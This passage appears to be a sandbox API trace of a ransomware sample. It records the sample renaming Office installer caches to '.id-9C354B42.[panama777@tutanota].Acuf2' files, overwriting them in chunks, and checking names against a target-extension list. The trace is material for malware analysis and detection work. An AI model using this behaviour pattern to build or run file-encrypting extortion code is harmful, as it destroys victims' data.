	[0046.129] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.129] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.137] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.137] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.137] ReadFile (in: hFile=0x1dc, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.152] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.152] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc010a, lpOverlapped=0x0) returned 1
	[0046.475] SetEndOfFile (hFile=0x1dc) returned 1
	[0046.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ef37c8
	[0046.479] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.479] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ef37c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef37c8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.481] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.481] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ef37c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef37c8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.486] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.486] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ef37c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef37c8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ef37c8 | out: hHeap=0x4f0000) returned 1
	[0046.490] CloseHandle (hObject=0x1dc) returned 1
	[0046.490] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.490] lstrlenW (lpString=".doc") returned 4
	[0046.490] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.490] lstrlenW (lpString=".docx") returned 5
	[0046.490] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.490] lstrlenW (lpString=".pdf") returned 4
	[0046.490] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.490] lstrlenW (lpString=".xls") returned 4
	[0046.490] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.490] lstrlenW (lpString=".xlsx") returned 5
	[0046.490] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.490] lstrlenW (lpString=".ppt") returned 4
	[0046.490] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.490] lstrlenW (lpString=".zip") returned 4
	[0046.491] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.491] lstrlenW (lpString=".rar") returned 4
	[0046.491] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.491] lstrlenW (lpString=".bz2") returned 4
	[0046.491] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.491] lstrlenW (lpString=".7z") returned 3
	[0046.491] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.491] lstrlenW (lpString=".dbf") returned 4
	[0046.491] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.491] lstrlenW (lpString=".1cd") returned 4
	[0046.491] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.491] lstrlenW (lpString=".jpg") returned 4
	[0046.491] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.491] lstrlenW (lpString=".doc") returned 4
	[0046.491] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.491] lstrlenW (lpString=".docx") returned 5
	[0046.491] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.491] lstrlenW (lpString=".pdf") returned 4
	[0046.491] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.491] lstrlenW (lpString=".xls") returned 4
	[0046.491] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.491] lstrlenW (lpString=".xlsx") returned 5
	[0046.491] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.491] lstrlenW (lpString=".ppt") returned 4
	[0046.491] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.492] lstrlenW (lpString=".zip") returned 4
	[0046.492] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.492] lstrlenW (lpString=".rar") returned 4
	[0046.492] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.492] lstrlenW (lpString=".bz2") returned 4
	[0046.492] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.492] lstrlenW (lpString=".7z") returned 3
	[0046.492] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.492] lstrlenW (lpString=".dbf") returned 4
	[0046.492] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.492] lstrlenW (lpString=".1cd") returned 4
	[0046.492] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78
	[0046.492] lstrlenW (lpString=".jpg") returned 4
	[0046.492] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.492] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0046.492] lstrlenW (lpString="OneNoteMUI.msi") returned 14
	[0046.492] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0046.493] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=2503680) returned 1
	[0046.493] CloseHandle (hObject=0x1dc) returned 1
	[0046.493] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020
	[0046.493] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.493] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0046.493] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.494] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.494] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.738] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.738] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.747] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.747] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.747] ReadFile (in: hFile=0x1dc, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.763] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.763] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0046.779] SetEndOfFile (hFile=0x1dc) returned 1
	[0046.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f037d0
	[0046.837] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.837] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.839] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.839] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.845] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0046.845] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f037d0 | out: hHeap=0x4f0000) returned 1
	[0046.848] CloseHandle (hObject=0x1dc) returned 1
	[0046.848] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.848] lstrlenW (lpString=".doc") returned 4
	[0046.848] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.848] lstrlenW (lpString=".docx") returned 5
	[0046.848] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.848] lstrlenW (lpString=".pdf") returned 4
	[0046.849] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.849] lstrlenW (lpString=".xls") returned 4
	[0046.849] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.849] lstrlenW (lpString=".xlsx") returned 5
	[0046.849] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.849] lstrlenW (lpString=".ppt") returned 4
	[0046.849] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString=".zip") returned 4
	[0046.849] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.849] lstrlenW (lpString=".rar") returned 4
	[0046.849] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.849] lstrlenW (lpString=".bz2") returned 4
	[0046.849] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.849] lstrlenW (lpString=".7z") returned 3
	[0046.849] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString=".dbf") returned 4
	[0046.849] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString=".1cd") returned 4
	[0046.849] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString=".jpg") returned 4
	[0046.849] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.849] lstrlenW (lpString=".doc") returned 4
	[0046.850] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0046.850] lstrlenW (lpString=".docx") returned 5
	[0046.850] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0046.850] lstrlenW (lpString=".pdf") returned 4
	[0046.850] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0046.850] lstrlenW (lpString=".xls") returned 4
	[0046.850] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0046.850] lstrlenW (lpString=".xlsx") returned 5
	[0046.850] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0046.850] lstrlenW (lpString=".ppt") returned 4
	[0046.850] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0046.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.850] lstrlenW (lpString=".zip") returned 4
	[0046.850] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0046.850] lstrlenW (lpString=".rar") returned 4
	[0046.850] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0046.850] lstrlenW (lpString=".bz2") returned 4
	[0046.850] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0046.850] lstrlenW (lpString=".7z") returned 3
	[0046.850] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0046.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.850] lstrlenW (lpString=".dbf") returned 4
	[0046.850] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0046.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.850] lstrlenW (lpString=".1cd") returned 4
	[0046.850] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0046.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0046.850] lstrlenW (lpString=".jpg") returned 4
	[0046.850] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0046.851] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0046.851] lstrlenW (lpString="ProjectMUI.msi") returned 14
	[0046.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0046.855] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=2511872) returned 1
	[0046.856] CloseHandle (hObject=0x1e0) returned 1
	[0046.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020
	[0046.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.856] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0046.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0046.856] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0046.856] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.856] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.884] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.884] ReadFile (in: hFile=0x1e0, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0046.893] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.893] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0046.893] ReadFile (in: hFile=0x1e0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0047.239] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.239] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0047.256] SetEndOfFile (hFile=0x1e0) returned 1
	[0047.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f237d0
	[0047.256] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.256] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.258] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.258] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.264] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0047.264] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f237d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f237d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0047.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f237d0 | out: hHeap=0x4f0000) returned 1
	[0047.585] CloseHandle (hObject=0x1e0) returned 1
	[0047.586] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77
	[0047.586] lstrlenW (lpString=".doc") returned 4
	[0047.586] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0047.586] lstrlenW (lpString=".docx") returned 5
	[0047.586] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0047.586] lstrlenW (lpString=".pdf") returned 4
	[0047.586] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0047.586] lstrlenW (lpString=".xls") returned 4
	[0047.586] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0047.586] lstrlenW (lpString=".xlsx") returned 5
